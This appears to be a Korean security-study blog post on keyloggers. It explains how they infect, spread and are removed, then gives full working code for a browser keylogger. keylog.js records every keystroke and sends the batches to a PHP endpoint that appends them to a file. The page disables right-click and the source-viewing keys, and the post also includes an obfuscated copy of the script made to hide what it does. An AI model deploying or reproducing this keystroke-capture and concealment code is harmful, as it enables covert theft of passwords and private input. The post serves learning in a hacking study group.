Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋””/๋ชจ์˜ ํ•ดํ‚น - ๊ณผ์ œ

[๊ณผ์ œ] 04์ฃผ์ฐจ (1-1 α) (XSS)ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„

Gearvirus(junyup2) 2023. 11. 17. 10:18

๋ชจ์˜ ํ•ดํ‚น ์Šคํ„ฐ๋”” - 4์ฃผ์ฐจ ๊ณผ์ œ (1-1) ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„

 

 

ํ‚ค ๋กœ๊น…์ด๋ž€?

ํ‚ค ๋กœ๊น…(Keylogging, ํ‚ค ์ŠคํŠธ๋กœํฌ ๋กœ๊น…(Keystroke logging)

 

์‚ฌ์šฉ์ž๊ฐ€ ํ‚ค๋ณด๋“œ๋กœ PC์— ์ž…๋ ฅํ•˜๋Š” ๋‚ด์šฉ์„ ๋ชฐ๋ž˜ ๊ฐ€๋กœ์ฑ„์–ด ๊ธฐ๋กํ•˜๋Š” ํ–‰์œ„

  • (ํ‚ค๋ณด๋“œ๋กœ ์ž…๋ ฅํ•˜๋Š” ์ •๋ณด๋ฅผ ์ค‘๊ฐ„์— ๊ฐ€๋กœ์ฑ„๊ธฐ ํ•˜์—ฌ ์ •๋ณด๋ฅผ ํ›”์ณ๊ฐ€๋Š” ํ•ดํ‚น ๋„๊ตฌ)
  • ๋‚ด๊ฐ€ ์ž…๋ ฅํ•œ ํ‚ค ๊ฐ’์˜ ๋กœ๊ทธ๋ฅผ ํƒ€์ธ์ด ๋ด„์œผ๋กœ์จ ํ•ดํ‚น ํ”ผํ•ด์— ๋…ธ์ถœ
  • ํ•˜๋“œ์›จ์–ด, ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ํ™œ์šฉํ•œ ๋ฐฉ๋ฒ•์—์„œ๋ถ€ํ„ฐ ์ „์ž์ , ์Œํ–ฅ๊ธฐ์ˆ ์„ ํ™œ์šฉํ•œ ๊ธฐ๋ฒ•๊นŒ์ง€ ๋‹ค์–‘ํ•œ ํ‚ค๋กœ๊น… ๋ฐฉ๋ฒ•์ด ์กด์žฌ

 

ํ‚ค ๋กœ๊ฑฐ(Key Logger)

Key + Log

  • ํ‚ค๋ณด๋“œ์— ์ž…๋ ฅํ•œ ํ‚ค์˜ ํ”์ ์„ ๋‚จ๊ธฐ๋Š” ํ”„๋กœ๊ทธ๋žจ
    • ํ”„๋กœ์„ธ์Šค๋กœ ์‚ฌ์ค‘ํ•˜๋ฉด์„œ ํ‚ค๋ณด๋“œ์— ์ž…๋ ฅ๋œ ๋ชจ๋“  ๊ธฐ๋ก๋“ค์„ .txt ํ˜น์€ ์ง€์ •๋œ ํ™•์žฅ์ž๋กœ ์ €์žฅ๋˜๊ฒŒ ํ•จ
  • ํ‚ค๋ณด๋“œ๋ฅผ ํ†ตํ•ด ์ด๋ค„์ง€๋Š” ๋ชจ๋“  ์ •๋ณด๊ฐ€ ๋…ธ์ถœ๋˜๊ณ  ์žˆ๋Š” ๊ฒƒ
    • ํ‚ค๋ณด๋“œ ์›€์ง์ž„์„ ํƒ์ง€ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ***๋กœ ๊ฐ์ถ”์–ด ๋‚˜์˜ค๋Š” ์•”ํ˜ธ์˜ ์‹ค์ œ ์ž…๋ ฅํ‚ค๊นŒ์ง€ ์•Œ ์ˆ˜ ์žˆ๊ฒŒํ•˜๊ธฐ ๋•Œ๋ฌธ
ํ‚ค ๋กœ๊ทธ ๊ฐ์—ผ ๊ฒฝ๋กœ

1. ์›น ์‚ฌ์ดํŠธ์˜ ์ฒจ๋ถ€ํŒŒ์ผ์ด๋‚˜ ๊ทธ ๋ฐ–์— ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ ํ›„ ์‹คํ–‰์‹œ ํ‚ค๋กœ๊ทธ ํ”„๋กœ๊ทธ๋žจ์ด ์„ค์น˜๋  ์ˆ˜ ์žˆ์Œ
    (ํ”ํžˆ ์‹คํ–‰ํŒŒ์ผ์— ํ‚ค๋กœ๊ทธ๊ฐ€ ์ˆจ๊ฒจ์ ธ ์žˆ์„ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ)
2. ํ‚ค๋กœ๊ทธ๊ฐ€ ์ˆจ๊ฒจ์ ธ ์žˆ๋Š” ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰ํ•œ ๊ฒฝ์šฐ
    - ์••์ถ•ํŒŒ์ผ ํ•ด์ œ์‹œ(์••์ถ•ํŒŒ์ผ์„ ํ•ด์ œํ•˜๋Š” ๊ฒฝ์šฐ ์ž๋™์œผ๋กœ ์‹คํ–‰์ด ๊ฐ€๋Šฅ)
    - ์ธ์ฆ๋˜์ง€ ์•Š์€ ์‚ฌ์ดํŠธ์—์„œ Active X ์‹คํ–‰์‹œ์—๋„ ๊ฐ์—ผ์ด ๊ฐ€๋Šฅ
ํ‚ค ๋กœ๊ทธ ๊ฐ์—ผ ํ™•์ธ ๋ฐ ์ œ๊ฑฐ

์ „๋ฌธ๊ฐ€๋“ค์€ ๋งˆ์šฐ์Šค ํด๋ฆญ์ด๋‚˜ ํ‚ค๋ณด๋“œ ์ž…๋ ฅ ์‹œ ์ง€์—ฐ์ด ๋ฐœ์ƒํ•˜๊ฑฐ๋‚˜ ํƒ€์ดํ•‘ํ•œ ๋‚ด์šฉ์ด ์Šคํฌ๋ฆฐ์— ๋‚˜ํƒ€๋‚˜์ง€ ์•Š๋Š” ๊ฒฝ์šฐ
ํ‚ค๋กœ๊น…์„ ์˜์‹ฌ
ํ•ด ๋ณผ ์ˆ˜ ์žˆ๋‹ค๊ณ  ์กฐ์–ธ

1. ๋ฐฑ์‹  ํ”„๋กœ๊ทธ๋žจ์„ ํ†ตํ•œ ํƒ์ง€ (์‹ ์ข… ํ‚ค๋กœ๊ทธ๋“ค์€ ๋ชป ์žก์„ ์ˆ˜ ์žˆ์Œ)
2. ํŠน์ • ๋ฌธ์ž์—ด ํƒ€์ดํ•‘ ํ›„ ์ž…๋ ฅํ•œ ๋ฌธ์ž์—ด์„ ํŒŒ์ผ ๋‚ด์šฉ์—์„œ ๊ฒ€์ƒ‰
3. taskmgr์—์„œ ํ•ด๋‹น ํ‚ค๋กœ๊ทธ ํ”„๋กœ์„ธ์Šค ์ฐพ๊ธฐ
    - (ํ•ด๋‹น ํ‚ค๋กœ๊ทธ์˜ ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฐพ๋Š” ๊ฒƒ์€ ํž˜์ด ๋“ฌ)
    - ์˜์‹ฌ ๊ฐ€๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฐพ์•„๋ด์•ผ ํ•˜์ง€๋งŒ ํ”„๋กœ์„ธ์Šค๋“ค์˜ ์ด๋ฆ„์€ ์ƒ์†Œํ•œ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ๊ธฐ ๋•Œ๋ฌธ
4. regedit ์—์„œ ์‹คํ–‰ ํ”„๋กœ๊ทธ๋žจ ์‚ญ์ œ
HKEY_LOCAL_MACHINE -> SOFTWARE -> Microsoft -> Windows -> CurrentVersion -> Run -> ํ•ด๋‹น ํ‚ค๋กœ๊ทธ ์‚ญ์ œ(์ปดํ“จํ„ฐ๋ฅผ ๋ถ€ํŒ…ํ–ˆ์„ ๋•Œ ๊ฐ€์žฅ ๋จผ์ € ์‹คํ–‰๋˜๋Š” ๊ฒƒ๋“ค์˜ ์ •๋ณด๋ฅผ ๋‹ด์€ ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ์‚ญ์ œํ•˜๋Š” ๋ฐฉ์‹)

 

ํ‚ค๋กœ๊ทธ ํ”„๋กœ๊ทธ๋žจ์˜ ์‹คํ–‰    

  • ๋ณดํ†ต ๋ถ€ํŒ…์‹œ ํ‚ค ๋กœ๊ทธ ํ”„๋กœ๊ทธ๋žจ์„ ์ž๋™ ์‹คํ–‰ ์‹œํ‚ค๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ 
  • ๋‹ค๋ฅธ ๋ฐฉ๋ฒ•์œผ๋กœ ํŠน์ • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์„ ์‹คํ–‰ํ–ˆ์„ ๊ฒฝ์šฐ ์‹คํ–‰ ๊ฐ€๋Šฅ
    • (์ด๋Ÿฐ ๊ฒฝ์šฐ ์œ„์˜ (4๋ฒˆ) ๋ฐฉ๋ฒ•์œผ๋กœ๋Š” ํ•ด๋‹น ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ์ฐพ๋Š” ๊ฒƒ์ด ๋ถˆ๊ฐ€๋Šฅ)
    • ๋ถ€ํŒ…ํ–ˆ์„ ๋•Œ ๊ฐ€์žฅ ๋จผ์ € ์‹คํ–‰๋˜๋Š” ๊ฒƒ๋“ค์˜ ์ •๋ณด๋ฅผ ์ฐพ๋Š” ๊ฒƒ์ด๊ธฐ ๋•Œ๋ฌธ

 

ํ‚ค๋กœ๊น… ํ”„๋กœ๊ทธ๋žจ์˜ ์ž‘๋™ ๋ฐฉ์‹์„ ์šฐํšŒํ•˜๋Š” ๋ฐฉ๋ฒ•

  • ํ‚ค๋กœ๊ทธ๋Š” ๋‹จ์ง€ ์ž…๋ ฅํ•˜๋Š” ๊ฒƒ์— ๋Œ€ํ•˜์—ฌ ์ˆœ์„œ๋Œ€๋กœ ์ „๋‹ฌ
    • ๋กœ๊ทธ์ธ ํ™”๋ฉด์—์„œ ID์™€ PW๋ฅผ ์ž…๋ ฅํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ
    • (1) ID์˜ ์ผ๋ถ€ ์ž…๋ ฅ -> (2) ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ์ผ๋ถ€ ์ž…๋ ฅ -> (3) ID์˜ ๋‚˜๋จธ์ง€ ์ž…๋ ฅ -> (4) ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ๋‚˜๋จธ์ง€ ์ž…๋ ฅ
    • ์œ„์™€ ๊ฐ™์€ ์ˆœ์„œ์— ๋”ฐ๋ผ ์ •๋ณด๋ฅผ ํ•œ๋ฒˆ์— ์ž…๋ ฅํ•˜์ง€ ์•Š๊ณ , ๋‚˜๋ˆ ์„œ ์ž…๋ ฅํ•˜๋Š” ๋ฐฉ๋ฒ•, ์ด๋ ‡๊ฒŒ ํ•˜๋ฉด ์ •๋ณด๋ฅผ ๊ฐ€๋กœ์ฑ„๊ธฐ ํ•˜๋”๋ผ๊ณ  ์‹ค์ œ ID์™€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฐพ๊ธฐ๊ฐ€ ์–ด๋ ต๊ฒŒ ๋จ
  • ํ•˜์ง€๋งŒ ๋‹จ์ˆœ ํ‚ค๋ณด๋“œ์˜ ๋‚ด์šฉ ์ €์žฅ๋งŒ ํ•˜๋Š” ๊ฒƒ์ด ์•„๋‹˜ 
    • ํ”ผ์‹ฑ ์‚ฌ์ดํŠธ์˜ ๊ฒฝ์šฐ
      • ์ž…๋ ฅํ•˜๋Š” ์ •๋ณด๋“ค์ด ๊ทธ๋Œ€๋กœ ๋„˜์–ด๊ฐ€๊ฒŒ ๋จ
      • ๋กœ๊ทธ์ธ์€ ์‹ค์ œ๋กœ ๋˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ์žˆ์–ด ๋ˆˆ์น˜ ์ฑ„๊ธฐ ํž˜๋“ฌ
    • ํ™”๋ฉด์„ ์บก์ฒ˜ํ•˜๊ฑฐ๋‚˜ ์ž‘์—… ๊ธฐ๋ก๋“ค์„ ์ €์žฅํ•˜๋Š” ๊ฒฝ์šฐ
      • ์–ด๋Š ๋ถ€๋ถ„์„ ์ž…๋ ฅํ•˜๋Š”์ง€๋ฅผ ์•Œ์•„๋ณผ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์œ„ํ—˜๋„๊ฐ€ ๋†’์•„์ง
  • ํ‚ค๋กœ๊น… ๊ณผ์ •์— ํ˜ผ๋ž€์„ ์ฃผ๋Š” ์•ˆํ‹ฐ-ํ‚ค๋กœ๊ฑฐ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ๊ตฌ๋งคํ•˜๋Š” ๊ฒƒ๋„ ๋ฐฉ๋ฒ•
    • (์ด๊ฒƒ์œผ๋กœ๋„ ์ด๋ฏธ ์„ค์น˜๋œ ํ‚ค๋กœ๊ฑฐ๋ฅผ ์ ๋ฐœ,์ œ๊ฑฐ ํ•˜๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅ)

ํ‚ค ๋กœ๊ฑฐ ๊ตฌํ˜„
  • ๋‹จ์ˆœ ํ‚ค๋กœ๊ฑฐ ๊ตฌํ˜„
    • ํ”ผ์‹ฑ ์‚ฌ์ดํŠธ X
    • ๋กœ๊ทธ์ธ ์ฐฝ X
    • (ํ…Œ์ŠคํŠธ ์šฉ)


์ฝ”๋“œ ๊ตฌ์„ฑ
  • keylog.html
  • keylog.js
  • keylog.php

keylog.html

<!DOCTYPE html>
<html>
  <head>
    <title>Keylog</title>
    <meta charset="utf-8">
    <script src="keylog.js"></script>
    <script>
        // DISABLE RIGHT CLICK
        document.addEventListener("contextmenu", function(e){
            e.preventDefault();
        }, false);

        // DISABLE SHORTCUT KEYS (Ctrl+U / F12)
        document.addEventListener("keydown", function(e){
            if(e.ctrlKey || e.keyCode==123) {
                e.stopPropagation();
                e.preventDefault();
            }
        });
    </script> 
  </head>
  <body>
    <h1>All key presses will be recorded!</h1>
    <h2>์ž…๋ ฅํ•˜๋Š” ๋ชจ๋“  ํ‚ค๋Š” ๊ธฐ๋ก๋ฉ๋‹ˆ๋‹ค.</h2>
        rows : 5, cols : 70<br>
    <textarea rows="5" cols="70"></textarea>
  </body>
</html>

 

  • Keylog.html์— ์ ‘์†ํ•˜๋ฉด ์œ„์˜ ํ™”๋ฉด์ด ๋‚˜์˜ค๊ฒŒ ๋จ
  • <script src="keylog.js"></script>
    • keylog.js๋ฅผ ์ ์šฉ

 

<script>
    // DISABLE RIGHT CLICK
    document.addEventListener("contextmenu", function(e){
        e.preventDefault();
    }, false);

    // DISABLE SHORTCUT KEYS (Ctrl+U / F12)
    document.addEventListener("keydown", function(e){
        if(e.ctrlKey || e.keyCode==123) {
            e.stopPropagation();
            e.preventDefault();
        }
    });
</script>

 

  • ์ฝ”๋“œ ๋‚ด๋ถ€ ํ™•์ธ ๋ฐฉ์ง€์šฉ ์ฝ”๋“œ
    • ์šฐํด๋ฆญ ๋ฐฉ์ง€(DISABLE RIGHT CLICK)
      • ๋งˆ์šฐ์Šค ์šฐํด๋ฆญ ์‹œ ๋‚˜์˜ค๋Š” ์•„๋ž˜์˜ ์ฐฝ์ด ์šฐํด๋ฆญ์„ ํ•ด๋„ ๋‚˜์˜ค์ง€ ์•Š์Œ
    • ๋‹จ์ถ•ํ‚ค ๋ฐฉ์ง€(DISABLE SHORTCUT KEYS)
      • ๋งˆ์šฐ์Šค ์šฐํด๋ฆญ์‹œ ๋‚˜์˜ค๋Š” ์•„๋ž˜์˜ ์ฐฝ (   ↓) ์ด Ctrl + U๋ฅผ ํ•˜๋ฉด ๋‚˜์˜ค๊ธฐ ๋•Œ๋ฌธ
      • F12๋กœ๋„ ์ฝ”๋“œ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋ง‰์•„๋‘ (๊ทธ ๋Œ€์‹ , ํ‚ค๋กœ๊ฑฐ์—๋„ ์ž…๋ ฅ๋˜์ง€ ์•Š์Œ) 
        • ์ž…๋ ฅ ์ž์ฒด๋ฅผ ๊ฑฐ๋ถ€

  • textarea ๋‚ด๋ถ€์— ๊ธ€ ์ž‘์„ฑ ๊ฐ€๋Šฅ
  • (์ด์™ธ์˜ ํ‚ค๋„ ๊ธฐ๋ก๋จ)
    • ex) Func. key
    • (์ƒˆ๋กœ๊ณ ์นจ F5, ๋‹จ์ถ•ํ‚ค ๋ฐฉ์ง€ F12 ๋ฅผ ์ œ์™ธํ•œ Func. key๋Š” ์ž˜ ์ถœ๋ ฅ๋จ ↑ ↑ ↑ )

keylog.js

var keylog = {
    // (A) SETTINGS & PROPERTIES
    cache : [],      // temp storage for key presses
    delay : 2000,    // how often to send data to server
    sending : false, // flag to allow 1 upload at a time
  
    // (B) INITIALIZE
    init : () => {
        // (B1) CAPTURE 'KEY STROKES'
        window.addEventListener("keydown", evt => keylog.cache.push(evt.key)); // keydown
        // window.addEventListener("keypress", evt => keylog.cache.push(evt.key)); //keypress
    
        // (B2) SEND 'KEY STROKES' TO SERVER
        window.setInterval(keylog.send, keylog.delay);
    },
  
    // (C) AJAX SEND 'KEY STROKES'
    send : () => { if (!keylog.sending && keylog.cache.length != 0) {
      // (C1) "LOCK" UNTIL THIS BATCH IS SENT TO SERVER
      keylog.sending = true;
  
      // (C2) KEYPRESS(keydown) DATA
      var data = new FormData();
      data.append("keys", JSON.stringify(keylog.cache));
      keylog.cache = []; // clear keys
  
      // (C3) FECTH SEND
      fetch("keylog.php", { method:"POST", body:data })
      .then(res=>res.text()).then(res => {
        keylog.sending = false; // unlock
        console.log(res); // optional
      })
      .catch(err => console.error(err));
    }}
  };
  window.addEventListener("DOMContentLoaded", keylog.init);

 

  • ์ž…๋ ฅ๋œ ํ‚ค๋ฅผ ์ž„์‹œ ์ €์žฅ
  • window.addEventListener("keydown", evt => keylog.cache.push(evt.key));
    • ๋ฐ›์•„์˜จ ํ‚ค๋ฅผ keylog์˜ ์บ์‹œ(cache)์— ์ €์žฅ
    • keydown ์‚ฌ์šฉ
    • keypress๋ฅผ ์ด์šฉํ•˜์ง€ ์•Š๋Š” ์ด์œ KEY DOWN/UP/PRESS
  • 'KEY STROKES' ๋ฅผ ์„œ๋ฒ„๋กœ ์ „์†ก
    • window.setInterval(keylog.send, keylog.delay);
  • AJAX(Asynchronous JavaScript And XML)๋ฅผ ํ†ตํ•œ ๋น„๋™๊ธฐ HTTP ํ†ต์‹ 
    • ํ‚ค๊ฐ€ ๋น ์ง€๋Š” ๊ฒƒ ์—†์ด ์ž…๋ ฅ๋˜๊ธฐ ์œ„ํ•ด?!
      • ์‹คํ–‰ ํ๋ฆ„ ์กฐ์ ˆ ๊ฐ€๋Šฅ
      • keylog.sending = true / false
    • FETCH
      • ๊ฐ„๋‹จํ•œ ํ†ต์‹ ,  ์—…๋ฐ์ดํŠธ๊ฐ€ ์žฆ์€ ๊ฒฝ์šฐ
      • ๋‚ด์žฅ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ธ fetch๊ฐ€ axios๋ณด๋‹ค ์•ˆ์ •์ ์ผ ์ˆ˜ ์žˆ์Œ
        • (axios๋Š” ๋ธŒ๋ผ์šฐ์ € ํ˜ธํ™˜์„ฑ์ด ๋›ฐ์–ด๋‚˜๊ณ , ๋‹ค์–‘ํ•œ ๊ธฐ๋Šฅ์ด ๋งŽ์ง€๋งŒ ๋”ฐ๋กœ ๋ชจ๋“ˆ ์„ค์น˜๊ฐ€ ํ•„์š”)
        • ๊ทธ ๋Œ€์‹  fetch์˜ ๊ฒฝ์šฐ JSON์œผ๋กœ ๋ณ€ํ™˜ํ•ด์ฃผ๋Š” ๊ณผ์ •์ด ํ•„์š”
    • ์บ์‹œ์— ์ž„์‹œ ์ €์žฅ๋œ ๋ฐ์ดํ„ฐ๋ฅผ data์— ์ €์žฅํ•˜๊ณ  cache๋ฅผ ๋น„์›€

 

fetch("keylog.php", { method:"POST", body:data })
      .then(res=>res.text()).then(res => {
        keylog.sending = false; // unlock
        console.log(res); // optional
      })
  • FECTH SEND

 

js Obfuscator tool / option

OBFUSCATED CODE(keylog.js)

var _0x5cb129=_0x5ceb;function _0x2335(){var _0x549aa1=['error','send','4114548YnVvav','9873556zUQudj','2320886Rsuwul','setInterval','5289378salCPm','3943530FdUXLs','init','then','text','1495536dUfCWC','cache','length','push','addEventListener','sending','key','218340rgXCOv','POST','keys','append'];_0x2335=function(){return _0x549aa1;};return _0x2335();}(function(_0x4f87a1,_0x353324){var _0x3dc969=_0x5ceb,_0x14e052=_0x4f87a1();while(!![]){try{var _0x5374b6=-parseInt(_0x3dc969(0x131))/0x1+parseInt(_0x3dc969(0x123))/0x2+-parseInt(_0x3dc969(0x121))/0x3+-parseInt(_0x3dc969(0x12a))/0x4+-parseInt(_0x3dc969(0x126))/0x5+parseInt(_0x3dc969(0x125))/0x6+parseInt(_0x3dc969(0x122))/0x7;if(_0x5374b6===_0x353324)break;else _0x14e052['push'](_0x14e052['shift']());}catch(_0xffdf38){_0x14e052['push'](_0x14e052['shift']());}}}(_0x2335,0xaaea4));var keylog={'cache':[],'delay':0x7d0,'sending':![],'init':()=>{var _0x52c841=_0x5ceb;window['addEventListener']('keydown',_0x4fb04e=>keylog[_0x52c841(0x12b)][_0x52c841(0x12d)](_0x4fb04e[_0x52c841(0x130)])),window[_0x52c841(0x124)](keylog[_0x52c841(0x120)],keylog['delay']);},'send':()=>{var _0x317b78=_0x5ceb;if(!keylog['sending']&&keylog['cache'][_0x317b78(0x12c)]!=0x0){keylog[_0x317b78(0x12f)]=!![];var _0x1a3b82=new FormData();_0x1a3b82[_0x317b78(0x11e)](_0x317b78(0x11d),JSON['stringify'](keylog['cache'])),keylog[_0x317b78(0x12b)]=[],fetch('keylog.php',{'method':_0x317b78(0x11c),'body':_0x1a3b82})[_0x317b78(0x128)](_0x35ea79=>_0x35ea79[_0x317b78(0x129)]())['then'](_0x138cec=>{var _0x1e0967=_0x317b78;keylog[_0x1e0967(0x12f)]=![],console['log'](_0x138cec);})['catch'](_0x166b0f=>console[_0x317b78(0x11f)](_0x166b0f));}}};function _0x5ceb(_0x5c895f,_0x3be883){var _0x233588=_0x2335();return _0x5ceb=function(_0x5ceb2e,_0x3ac333){_0x5ceb2e=_0x5ceb2e-0x11c;var _0x29a23f=_0x233588[_0x5ceb2e];return _0x29a23f;},_0x5ceb(_0x5c895f,_0x3be883);}window[_0x5cb129(0x12e)]('DOMContentLoaded',keylog[_0x5cb129(0x127)]);
  • ์œ„์˜ keylog.js ๋ฅผ JavaScript Obfuscator Tool (https://obfuscator.io/)์„ ์ด์šฉํ•˜์—ฌ ๋ณ€ํ™˜ํ•œ ๊ฒƒ
  • ๋‚ด์šฉ์„ ๋ชป ์•Œ์•„๋ณด๊ฒŒ ํ•˜๊ธฐ ์œ„ํ•จ
  • ๋™์ผํ•˜๊ฒŒ ์ž‘๋™ ํ™•์ธ

keylog.php

<?php
    // (A) OPEN 'KEYLOG FILE', APPEND MODE('a+' : ์ฝ๊ธฐ[read]/์ถ”๊ฐ€[append]/์“ฐ๊ธฐ[write])
    $file = fopen("keylog.txt", "a+");

    // (B) SAVE 'KEY STROKES'
    $keys = json_decode($_POST["keys"]);
    foreach ($keys as $k=>$v) { fwrite($file, $v . PHP_EOL); }

    // (C) CLOSE & END FILE
    fclose($file);
    echo "OK";
?>
  • fopen ์˜ Append Mode ์„ค์ •
    • ํŒŒ์ผ์„ ์ฝ๊ธฐ, ์ถ”๊ฐ€, ์“ฐ๊ธฐ๋ฅผ ์œ„ํ•ด ์˜คํ”ˆ
    • ์ง€์ •ํ•œ ํŒŒ์ผ์ด ์žˆ์œผ๋ฉด ํŒŒ์ผ์˜ ๋์—์„œ๋ถ€ํ„ฐ ๋‚ด์šฉ์„ ์ถ”๊ฐ€
    • ๋‚˜๋จธ์ง€๊ธฐ๋Šฅ์€ (r+)์™€ ๊ฐ™์Œ
      • ์ง€์ •ํ•œ ํŒŒ์ผ์ด ์žˆ๋Š” ๊ฒฝ์šฐ : ๊ธฐ์กด์˜ ๋‚ด์šฉ์„ ๋ฎ์–ด ์”€
      • ์ง€์ •ํ•œ ํŒŒ์ผ์ด ์—†๋Š” ๊ฒฝ์šฐ : ์ƒˆ๋กœ์šด ํŒŒ์ผ์„ ์ƒ์„ฑํ•ด์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์”€ (์ €์žฅ)

 


 

๋ฌธ์ œ์ 

ํ•œ๊ธ€ ์ž…๋ ฅ์‹œ Process ๋ผ๊ณ ๋งŒ ์ฐํ˜€ ๋‚˜์˜ค๊ณ  ์ œ๋Œ€๋กœ ์ž…๋ ฅ๋˜์ง€ ์•Š์Œ


ํ›„๊ธฐ

๋กœ๊ทธ์ธ ์ฐฝ์ด๋‚˜, ํ”ผ์‹ฑ์‚ฌ์ดํŠธ๋ฅผ ๋งŒ๋“ค์–ด์„œ ๋ฐ›์•„์˜ค๋Š” ๊ฒƒ์ด ์•„๋‹Œ, ๋‹จ์ˆœ ํ‚ค๋กœ๊ทธ๋ฅผ ๊ตฌํ˜„

  • ๋‹จ์ˆœํžˆ ์ž…๋ ฅ๋˜๋Š” ๋ชจ๋“  ํ‚ค๋ฅผ ๋ฐ›์•„์˜จ ๊ฒƒ
  • (ํ™”๋ฉด ์บก์ณ X, ์—ฐ๊ฒฐ X)

๋˜ํ•œ ํ•œ๊ธ€ ์ž…๋ ฅ์˜ ์•„์‰ฌ์›€

  • ์ด ๋ถ€๋ถ„์— ์žˆ์–ด์„œ๋Š” ํ•œ๊ธ€์˜ ๋ฌธ์ž์  ํŠน์„ฑ์ด ๋ฌธ์ œ๊ฐ€ ๋จ
  • ๋‚˜์ค‘์— ๋”ฐ๋กœ ์ •๋ฆฌ ํ•ด๋ณผ ํ•„์š”๊ฐ€ ์žˆ์Œ !!

Keydown๊ณผ Keypress์— ๋Œ€ํ•œ ์ดํ•ด๊ฐ€ ์ข€ ๋” ํ•„์š”.

์•ˆ์ •์ ์ด๊ณ  ์™„๋ฒฝํ•œ ์ฝ”๋“œ๋ฅผ ์งœ๋Š” ๊ฒƒ๋„ ์ค‘์š”ํ•˜์ง€๋งŒ 
๋•Œ๋กœ๋Š” ์‹œ๊ฐ„๊ณผ ํƒ€ํ˜‘ํ•ด์„œ ๋Œ์•„๊ฐ€๋Š” ์ฝ”๋“œ๋ฅผ ์งœ๋Š” ๊ฒƒ๋งŒ์œผ๋กœ ๋งŒ์กฑํ•ด์•ผ ํ•  ๋•Œ๊ฐ€ ์žˆ๋‹ค.

 

 

์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜